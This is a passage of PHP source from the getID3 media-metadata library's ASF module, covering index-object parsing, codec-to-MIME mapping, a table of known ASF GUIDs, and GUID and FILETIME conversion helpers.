					for ($IndexEntriesCounter = 0; $IndexEntriesCounter < $thisfile_asf_simpleindexobject['index_entries_count']; $IndexEntriesCounter++) {
						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_number'] = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
						$offset += 4;
						$thisfile_asf_simpleindexobject['index_entries'][$IndexEntriesCounter]['packet_count']  = getid3_lib::LittleEndian2Int(substr($IndexEntriesData, $offset, 4));
						$offset += 2;
					}

					break;

				case GETID3_ASF_Index_Object:
					// 6.2 ASF top-level Index Object (optional but recommended when appropriate, 0 or 1)
					// Field Name                       Field Type   Size (bits)
					// Object ID                        GUID         128             // GUID for the Index Object - GETID3_ASF_Index_Object
					// Object Size                      QWORD        64              // Specifies the size, in bytes, of the Index Object, including at least 34 bytes of Index Object header
					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between each index entry in ms.
					// Index Specifiers Count           WORD         16              // Specifies the number of Index Specifiers structures in this Index Object.
					// Index Blocks Count               DWORD        32              // Specifies the number of Index Blocks structures in this Index Object.

					// Index Entry Time Interval        DWORD        32              // Specifies the time interval between index entries in milliseconds.  This value cannot be 0.
					// Index Specifiers Count           WORD         16              // Specifies the number of entries in the Index Specifiers list.  Valid values are 1 and greater.
					// Index Specifiers                 array of:    varies          //
					// * Stream Number                  WORD         16              // Specifies the stream number that the Index Specifiers refer to. Valid values are between 1 and 127.
					// * Index Type                     WORD         16              // Specifies Index Type values as follows:
																					//   1 = Nearest Past Data Packet - indexes point to the data packet whose presentation time is closest to the index entry time.
																					//   2 = Nearest Past Media Object - indexes point to the closest data packet containing an entire object or first fragment of an object.
																					//   3 = Nearest Past Cleanpoint. - indexes point to the closest data packet containing an entire object (or first fragment of an object) that has the Cleanpoint Flag set.
																					//   Nearest Past Cleanpoint is the most common type of index.
					// Index Entry Count                DWORD        32              // Specifies the number of Index Entries in the block.
					// * Block Positions                QWORD        varies          // Specifies a list of byte offsets of the beginnings of the blocks relative to the beginning of the first Data Packet (i.e., the beginning of the Data Object + 50 bytes). The number of entries in this list is specified by the value of the Index Specifiers Count field. The order of those byte offsets is tied to the order in which Index Specifiers are listed.
					// * Index Entries                  array of:    varies          //
					// * * Offsets                      DWORD        varies          // An offset value of 0xffffffff indicates an invalid offset value

					// shortcut
					$thisfile_asf['asf_index_object'] = array();
					$thisfile_asf_asfindexobject      = &$thisfile_asf['asf_index_object'];

					$ASFIndexObjectData = $NextObjectDataHeader.$this->fread(34 - 24);
					$offset = 24;

					$thisfile_asf_asfindexobject['objectid']                  = $NextObjectGUID;
					$thisfile_asf_asfindexobject['objectid_guid']             = $NextObjectGUIDtext;
					$thisfile_asf_asfindexobject['objectsize']                = $NextObjectSize;

					$thisfile_asf_asfindexobject['entry_time_interval']       = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;
					$thisfile_asf_asfindexobject['index_specifiers_count']    = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
					$offset += 2;
					$thisfile_asf_asfindexobject['index_blocks_count']        = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;

					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count']);
					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
						$IndexSpecifierStreamNumber = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
						$offset += 2;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['stream_number']   = $IndexSpecifierStreamNumber;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']      = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 2));
						$offset += 2;
						$thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type_text'] = $this->ASFIndexObjectIndexTypeLookup($thisfile_asf_asfindexobject['index_specifiers'][$IndexSpecifiersCounter]['index_type']);
					}

					$ASFIndexObjectData .= $this->fread(4);
					$thisfile_asf_asfindexobject['index_entry_count'] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
					$offset += 4;

					$ASFIndexObjectData .= $this->fread(8 * $thisfile_asf_asfindexobject['index_specifiers_count']);
					for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
						$thisfile_asf_asfindexobject['block_positions'][$IndexSpecifiersCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 8));
						$offset += 8;
					}

					$ASFIndexObjectData .= $this->fread(4 * $thisfile_asf_asfindexobject['index_specifiers_count'] * $thisfile_asf_asfindexobject['index_entry_count']);
					for ($IndexEntryCounter = 0; $IndexEntryCounter < $thisfile_asf_asfindexobject['index_entry_count']; $IndexEntryCounter++) {
						for ($IndexSpecifiersCounter = 0; $IndexSpecifiersCounter < $thisfile_asf_asfindexobject['index_specifiers_count']; $IndexSpecifiersCounter++) {
							$thisfile_asf_asfindexobject['offsets'][$IndexSpecifiersCounter][$IndexEntryCounter] = getid3_lib::LittleEndian2Int(substr($ASFIndexObjectData, $offset, 4));
							$offset += 4;
						}
					}
					break;


				default:
					// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
					if ($this->GUIDname($NextObjectGUIDtext)) {
						$this->warning('unhandled GUID "'.$this->GUIDname($NextObjectGUIDtext).'" {'.$NextObjectGUIDtext.'} in ASF body at offset '.($offset - 16 - 8));
					} else {
						$this->warning('unknown GUID {'.$NextObjectGUIDtext.'} in ASF body at offset '.($this->ftell() - 16 - 8));
					}
					$this->fseek(($NextObjectSize - 16 - 8), SEEK_CUR);
					break;
			}
		}

		if (isset($thisfile_asf_codeclistobject['codec_entries']) && is_array($thisfile_asf_codeclistobject['codec_entries'])) {
			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
				switch ($streamdata['information']) {
					case 'WMV1':
					case 'WMV2':
					case 'WMV3':
					case 'MSS1':
					case 'MSS2':
					case 'WMVA':
					case 'WVC1':
					case 'WMVP':
					case 'WVP2':
						$thisfile_video['dataformat'] = 'wmv';
						$info['mime_type'] = 'video/x-ms-wmv';
						break;

					case 'MP42':
					case 'MP43':
					case 'MP4S':
					case 'mp4s':
						$thisfile_video['dataformat'] = 'asf';
						$info['mime_type'] = 'video/x-ms-asf';
						break;

					default:
						switch ($streamdata['type_raw']) {
							case 1:
								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
									$thisfile_video['dataformat'] = 'wmv';
									if ($info['mime_type'] == 'video/x-ms-asf') {
										$info['mime_type'] = 'video/x-ms-wmv';
									}
								}
								break;

							case 2:
								if (strstr($this->TrimConvert($streamdata['name']), 'Windows Media')) {
									$thisfile_audio['dataformat'] = 'wma';
									if ($info['mime_type'] == 'video/x-ms-asf') {
										$info['mime_type'] = 'audio/x-ms-wma';
									}
								}
								break;

						}
						break;
				}
			}
		}

		switch (isset($thisfile_audio['codec']) ? $thisfile_audio['codec'] : '') {
			case 'MPEG Layer-3':
				$thisfile_audio['dataformat'] = 'mp3';
				break;

			default:
				break;
		}

		if (isset($thisfile_asf_codeclistobject['codec_entries'])) {
			foreach ($thisfile_asf_codeclistobject['codec_entries'] as $streamnumber => $streamdata) {
				switch ($streamdata['type_raw']) {

					case 1: // video
						$thisfile_video['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);
						break;

					case 2: // audio
						$thisfile_audio['encoder'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][$streamnumber]['name']);

						// AH 2003-10-01
						$thisfile_audio['encoder_options'] = $this->TrimConvert($thisfile_asf_codeclistobject['codec_entries'][0]['description']);

						$thisfile_audio['codec']   = $thisfile_audio['encoder'];
						break;

					default:
						$this->warning('Unknown streamtype: [codec_list_object][codec_entries]['.$streamnumber.'][type_raw] == '.$streamdata['type_raw']);
						break;

				}
			}
		}

		if (isset($info['audio'])) {
			$thisfile_audio['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
			$thisfile_audio['dataformat']         = (!empty($thisfile_audio['dataformat'])        ? $thisfile_audio['dataformat']         : 'asf');
		}
		if (!empty($thisfile_video['dataformat'])) {
			$thisfile_video['lossless']           = (isset($thisfile_audio['lossless'])           ? $thisfile_audio['lossless']           : false);
			$thisfile_video['pixel_aspect_ratio'] = (isset($thisfile_audio['pixel_aspect_ratio']) ? $thisfile_audio['pixel_aspect_ratio'] : (float) 1);
			$thisfile_video['dataformat']         = (!empty($thisfile_video['dataformat'])        ? $thisfile_video['dataformat']         : 'asf');
		}
		if (!empty($thisfile_video['streams'])) {
			$thisfile_video['resolution_x'] = 0;
			$thisfile_video['resolution_y'] = 0;
			foreach ($thisfile_video['streams'] as $key => $valuearray) {
				if (($valuearray['resolution_x'] > $thisfile_video['resolution_x']) || ($valuearray['resolution_y'] > $thisfile_video['resolution_y'])) {
					$thisfile_video['resolution_x'] = $valuearray['resolution_x'];
					$thisfile_video['resolution_y'] = $valuearray['resolution_y'];
				}
			}
		}
		$info['bitrate'] = 0 + (isset($thisfile_audio['bitrate']) ? $thisfile_audio['bitrate'] : 0) + (isset($thisfile_video['bitrate']) ? $thisfile_video['bitrate'] : 0);

		if ((!isset($info['playtime_seconds']) || ($info['playtime_seconds'] <= 0)) && ($info['bitrate'] > 0)) {
			$info['playtime_seconds'] = ($info['filesize'] - $info['avdataoffset']) / ($info['bitrate'] / 8);
		}

		return true;
	}

	/**
	 * @param int $CodecListType
	 *
	 * @return string
	 */
	public static function codecListObjectTypeLookup($CodecListType) {
		static $lookup = array(
			0x0001 => 'Video Codec',
			0x0002 => 'Audio Codec',
			0xFFFF => 'Unknown Codec'
		);

		return (isset($lookup[$CodecListType]) ? $lookup[$CodecListType] : 'Invalid Codec Type');
	}

	/**
	 * @return array
	 */
	public static function KnownGUIDs() {
		static $GUIDarray = array(
			'GETID3_ASF_Extended_Stream_Properties_Object'   => '14E6A5CB-C672-4332-8399-A96952065B5A',
			'GETID3_ASF_Padding_Object'                      => '1806D474-CADF-4509-A4BA-9AABCB96AAE8',
			'GETID3_ASF_Payload_Ext_Syst_Pixel_Aspect_Ratio' => '1B1EE554-F9EA-4BC8-821A-376B74E4C4B8',
			'GETID3_ASF_Script_Command_Object'               => '1EFB1A30-0B62-11D0-A39B-00A0C90348F6',
			'GETID3_ASF_No_Error_Correction'                 => '20FB5700-5B55-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Content_Branding_Object'             => '2211B3FA-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Content_Encryption_Object'           => '2211B3FB-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Digital_Signature_Object'            => '2211B3FC-BD23-11D2-B4B7-00A0C955FC6E',
			'GETID3_ASF_Extended_Content_Encryption_Object'  => '298AE614-2622-4C17-B935-DAE07EE9289C',
			'GETID3_ASF_Simple_Index_Object'                 => '33000890-E5B1-11CF-89F4-00A0C90349CB',
			'GETID3_ASF_Degradable_JPEG_Media'               => '35907DE0-E415-11CF-A917-00805F5C442B',
			'GETID3_ASF_Payload_Extension_System_Timecode'   => '399595EC-8667-4E2D-8FDB-98814CE76C1E',
			'GETID3_ASF_Binary_Media'                        => '3AFB65E2-47EF-40F2-AC2C-70A90D71D343',
			'GETID3_ASF_Timecode_Index_Object'               => '3CB73FD0-0C4A-4803-953D-EDF7B6228F0C',
			'GETID3_ASF_Metadata_Library_Object'             => '44231C94-9498-49D1-A141-1D134E457054',
			'GETID3_ASF_Reserved_3'                          => '4B1ACBE3-100B-11D0-A39B-00A0C90348F6',
			'GETID3_ASF_Reserved_4'                          => '4CFEDB20-75F6-11CF-9C0F-00A0C90349CB',
			'GETID3_ASF_Command_Media'                       => '59DACFC0-59E6-11D0-A3AC-00A0C90348F6',
			'GETID3_ASF_Header_Extension_Object'             => '5FBF03B5-A92E-11CF-8EE3-00C00C205365',
			'GETID3_ASF_Media_Object_Index_Parameters_Obj'   => '6B203BAD-3F11-4E84-ACA8-D7613DE2CFA7',
			'GETID3_ASF_Header_Object'                       => '75B22630-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Content_Description_Object'          => '75B22633-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Error_Correction_Object'             => '75B22635-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Data_Object'                         => '75B22636-668E-11CF-A6D9-00AA0062CE6C',
			'GETID3_ASF_Web_Stream_Media_Subtype'            => '776257D4-C627-41CB-8F81-7AC7FF1C40CC',
			'GETID3_ASF_Stream_Bitrate_Properties_Object'    => '7BF875CE-468D-11D1-8D82-006097C9A2B2',
			'GETID3_ASF_Language_List_Object'                => '7C4346A9-EFE0-4BFC-B229-393EDE415C85',
			'GETID3_ASF_Codec_List_Object'                   => '86D15240-311D-11D0-A3A4-00A0C90348F6',
			'GETID3_ASF_Reserved_2'                          => '86D15241-311D-11D0-A3A4-00A0C90348F6',
			'GETID3_ASF_File_Properties_Object'              => '8CABDCA1-A947-11CF-8EE4-00C00C205365',
			'GETID3_ASF_File_Transfer_Media'                 => '91BD222C-F21C-497A-8B6D-5AA86BFC0185',
			'GETID3_ASF_Old_RTP_Extension_Data'              => '96800C63-4C94-11D1-837B-0080C7A37F95',
			'GETID3_ASF_Advanced_Mutual_Exclusion_Object'    => 'A08649CF-4775-4670-8A16-6E35357566CD',
			'GETID3_ASF_Bandwidth_Sharing_Object'            => 'A69609E6-517B-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_Reserved_1'                          => 'ABD3D211-A9BA-11cf-8EE6-00C00C205365',
			'GETID3_ASF_Bandwidth_Sharing_Exclusive'         => 'AF6060AA-5197-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_Bandwidth_Sharing_Partial'           => 'AF6060AB-5197-11D2-B6AF-00C04FD908E9',
			'GETID3_ASF_JFIF_Media'                          => 'B61BE100-5B4E-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Stream_Properties_Object'            => 'B7DC0791-A9B7-11CF-8EE6-00C00C205365',
			'GETID3_ASF_Video_Media'                         => 'BC19EFC0-5B4D-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Audio_Spread'                        => 'BFC3CD50-618F-11CF-8BB2-00AA00B4E220',
			'GETID3_ASF_Metadata_Object'                     => 'C5F8CBEA-5BAF-4877-8467-AA8C44FA4CCA',
			'GETID3_ASF_Payload_Ext_Syst_Sample_Duration'    => 'C6BD9450-867F-4907-83A3-C77921B733AD',
			'GETID3_ASF_Group_Mutual_Exclusion_Object'       => 'D1465A40-5A79-4338-B71B-E36B8FD6C249',
			'GETID3_ASF_Extended_Content_Description_Object' => 'D2D0A440-E307-11D2-97F0-00A0C95EA850',
			'GETID3_ASF_Stream_Prioritization_Object'        => 'D4FED15B-88D3-454F-81F0-ED5C45999E24',
			'GETID3_ASF_Payload_Ext_System_Content_Type'     => 'D590DC20-07BC-436C-9CF7-F3BBFBF1A4DC',
			'GETID3_ASF_Old_File_Properties_Object'          => 'D6E229D0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Header_Object'               => 'D6E229D1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Data_Object'                 => 'D6E229D2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Index_Object'                        => 'D6E229D3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Stream_Properties_Object'        => 'D6E229D4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Content_Description_Object'      => 'D6E229D5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Script_Command_Object'           => 'D6E229D6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Marker_Object'                   => 'D6E229D7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Component_Download_Object'       => 'D6E229D8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Stream_Group_Object'             => 'D6E229D9-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Scalable_Object'                 => 'D6E229DA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Prioritization_Object'           => 'D6E229DB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Bitrate_Mutual_Exclusion_Object'     => 'D6E229DC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Inter_Media_Dependency_Object'   => 'D6E229DD-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Rating_Object'                   => 'D6E229DE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Index_Parameters_Object'             => 'D6E229DF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Color_Table_Object'              => 'D6E229E0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Language_List_Object'            => 'D6E229E1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Audio_Media'                     => 'D6E229E2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Video_Media'                     => 'D6E229E3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Image_Media'                     => 'D6E229E4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Timecode_Media'                  => 'D6E229E5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Text_Media'                      => 'D6E229E6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_MIDI_Media'                      => 'D6E229E7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Command_Media'                   => 'D6E229E8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Error_Concealment'            => 'D6E229EA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Scrambled_Audio'                 => 'D6E229EB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Color_Table'                  => 'D6E229EC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_SMPTE_Time'                      => 'D6E229ED-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASCII_Text'                      => 'D6E229EE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Unicode_Text'                    => 'D6E229EF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_HTML_Text'                       => 'D6E229F0-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_URL_Command'                     => 'D6E229F1-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Filename_Command'                => 'D6E229F2-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ACM_Codec'                       => 'D6E229F3-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_VCM_Codec'                       => 'D6E229F4-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_QuickTime_Codec'                 => 'D6E229F5-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_DirectShow_Transform_Filter'     => 'D6E229F6-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_DirectShow_Rendering_Filter'     => 'D6E229F7-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_No_Enhancement'                  => 'D6E229F8-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Unknown_Enhancement_Type'        => 'D6E229F9-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Temporal_Enhancement'            => 'D6E229FA-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Spatial_Enhancement'             => 'D6E229FB-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Quality_Enhancement'             => 'D6E229FC-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Number_of_Channels_Enhancement'  => 'D6E229FD-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Frequency_Response_Enhancement'  => 'D6E229FE-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Media_Object'                    => 'D6E229FF-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Language'                      => 'D6E22A00-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Bitrate'                       => 'D6E22A01-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Mutex_Unknown'                       => 'D6E22A02-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_ASF_Placeholder_Object'          => 'D6E22A0E-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Old_Data_Unit_Extension_Object'      => 'D6E22A0F-35DA-11D1-9034-00A0C90349BE',
			'GETID3_ASF_Web_Stream_Format'                   => 'DA1E6B13-8359-4050-B398-388E965BF00C',
			'GETID3_ASF_Payload_Ext_System_File_Name'        => 'E165EC0E-19ED-45D7-B4A7-25CBD1E28E9B',
			'GETID3_ASF_Marker_Object'                       => 'F487CD01-A951-11CF-8EE6-00C00C205365',
			'GETID3_ASF_Timecode_Index_Parameters_Object'    => 'F55E496D-9797-4B5D-8C8B-604DFE9BFB24',
			'GETID3_ASF_Audio_Media'                         => 'F8699E40-5B4D-11CF-A8FD-00805F5C442B',
			'GETID3_ASF_Media_Object_Index_Object'           => 'FEB103F8-12AD-4C64-840F-2A1D2F7AD48C',
			'GETID3_ASF_Alt_Extended_Content_Encryption_Obj' => 'FF889EF1-ADEE-40DA-9E71-98704BB928CE',
			'GETID3_ASF_Index_Placeholder_Object'            => 'D9AADE20-7C17-4F9C-BC28-8555DD98E2A2', // https://metacpan.org/dist/Audio-WMA/source/WMA.pm
			'GETID3_ASF_Compatibility_Object'                => '26F18B5D-4584-47EC-9F5F-0E651F0452C9', // https://metacpan.org/dist/Audio-WMA/source/WMA.pm
			'GETID3_ASF_Media_Object_Index_Parameters_Object'=> '6B203BAD-3F11-48E4-ACA8-D7613DE2CFA7',
		);
		return $GUIDarray;
	}

	/**
	 * @param string $GUIDstring
	 *
	 * @return string|false
	 */
	public static function GUIDname($GUIDstring) {
		static $GUIDarray = array();
		if (empty($GUIDarray)) {
			$GUIDarray = self::KnownGUIDs();
		}
		return array_search($GUIDstring, $GUIDarray);
	}

	/**
	 * @param int $id
	 *
	 * @return string
	 */
	public static function ASFIndexObjectIndexTypeLookup($id) {
		static $ASFIndexObjectIndexTypeLookup = array();
		if (empty($ASFIndexObjectIndexTypeLookup)) {
			$ASFIndexObjectIndexTypeLookup[1] = 'Nearest Past Data Packet';
			$ASFIndexObjectIndexTypeLookup[2] = 'Nearest Past Media Object';
			$ASFIndexObjectIndexTypeLookup[3] = 'Nearest Past Cleanpoint';
		}
		return (isset($ASFIndexObjectIndexTypeLookup[$id]) ? $ASFIndexObjectIndexTypeLookup[$id] : 'invalid');
	}

	/**
	 * @param string $GUIDstring
	 *
	 * @return string
	 */
	public static function GUIDtoBytestring($GUIDstring) {
		// Microsoft defines these 16-byte (128-bit) GUIDs in the strangest way:
		// first 4 bytes are in little-endian order
		// next 2 bytes are appended in little-endian order
		// next 2 bytes are appended in little-endian order
		// next 2 bytes are appended in big-endian order
		// next 6 bytes are appended in big-endian order

		// AaBbCcDd-EeFf-GgHh-IiJj-KkLlMmNnOoPp is stored as this 16-byte string:
		// $Dd $Cc $Bb $Aa $Ff $Ee $Hh $Gg $Ii $Jj $Kk $Ll $Mm $Nn $Oo $Pp

		$hexbytecharstring  = chr(hexdec(substr($GUIDstring,  6, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  4, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  2, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  0, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 11, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring,  9, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 16, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 14, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 19, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 21, 2)));

		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 24, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 26, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 28, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 30, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 32, 2)));
		$hexbytecharstring .= chr(hexdec(substr($GUIDstring, 34, 2)));

		return $hexbytecharstring;
	}

	/**
	 * @param string $Bytestring
	 *
	 * @return string
	 */
	public static function BytestringToGUID($Bytestring) {
		$GUIDstring  = str_pad(dechex(ord($Bytestring[3])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[2])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[1])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[0])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[5])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[4])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[7])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[6])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[8])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[9])),  2, '0', STR_PAD_LEFT);
		$GUIDstring .= '-';
		$GUIDstring .= str_pad(dechex(ord($Bytestring[10])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[11])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[12])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[13])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[14])), 2, '0', STR_PAD_LEFT);
		$GUIDstring .= str_pad(dechex(ord($Bytestring[15])), 2, '0', STR_PAD_LEFT);

		return strtoupper($GUIDstring);
	}

	/**
	 * @param int  $FILETIME
	 * @param bool $round
	 *
	 * @return float|int
	 */
	public static function FILETIMEtoUNIXtime($FILETIME, $round=true) {
		// FILETIME is a 64-bit unsigned integer representing
		// the number of 100-nanosecond intervals since January 1, 1601
		// UNIX timestamp is number of seconds since January 1, 1970
		// 116444736000000000 = 10000000 * 60 * 60 * 24 * 365 * 369 + 89 leap days
		if ($round) {
			return intval(round(($FILETIME - 116444736000000000) / 10000000));
		}
		return ($FILETIME - 116444736000000000) / 10000000;
	}

	/**
	 * @param int $WMpictureType
	 *
	 * @return string
	 */
	public static function WMpictureTypeLookup($WMpictureType) {
		static $lookup = null;
		if ($lookup === null) {
			$lookup = array(
				0x03 => 'Front Cover',
				0x04 => 'Back Cover',
				0x00 => 'User Defined',
				0x05 => 'Leaflet Page',
				0x06 => 'Media Label',
				0x07 => 'Lead Artist',
				0x08 => 'Artist',
				0x09 => 'Conductor',
				0x0A => 'Band',
				0x0B => 'Composer',
				0x0C => 'Lyricist',
				0x0D => 'Recording Location',
				0x0E => 'During Recording',
				0x0F => 'During Performance',
				0x10 => 'Video Screen Capture',
				0x12 => 'Illustration',
				0x13 => 'Band Logotype',
				0x14 => 'Publisher Logotype'
			);
			$lookup = array_map(function($str) {
				return getid3_lib::iconv_fallback('UTF-8', 'UTF-16LE', $str);
			}, $lookup);
		}

		return (isset($lookup[$WMpictureType]) ? $lookup[$WMpictureType] : '');
	}

	/**
	 * @param string $asf_header_extension_object_data
	 * @param int    $unhandled_sections
	 *
	 * @return array
	 */
	public function HeaderExtensionObjectDataParse(&$asf_header_extension_object_data, &$unhandled_sections) {
		// https://web.archive.org/web/20140419205228/http://msdn.microsoft.com/en-us/library/bb643323.aspx

		$offset = 0;
		$objectOffset = 0;
		$HeaderExtensionObjectParsed = array();
		while ($objectOffset < strlen($asf_header_extension_object_data)) {
			$offset = $objectOffset;
			$thisObject = array();

			$thisObject['guid']                              =                              substr($asf_header_extension_object_data, $offset, 16);
			$offset += 16;
			$thisObject['guid_text'] = $this->BytestringToGUID($thisObject['guid']);
			$thisObject['guid_name'] = $this->GUIDname($thisObject['guid_text']);

			$thisObject['size']                              = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
			$offset += 8;
			if ($thisObject['size'] <= 0) {
				break;
			}

			switch ($thisObject['guid']) {
				case GETID3_ASF_Extended_Stream_Properties_Object:
					$thisObject['start_time']                        = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;
					$thisObject['start_time_unix']                   = $this->FILETIMEtoUNIXtime($thisObject['start_time']);

					$thisObject['end_time']                          = getid3_lib::LittleEndian2Int(substr($asf_header_extension_object_data, $offset,  8));
					$offset += 8;
					$thisObject['end_time_unix']                     = $this->FILETIMEtoUNIXtime($thisObject['end_time']);

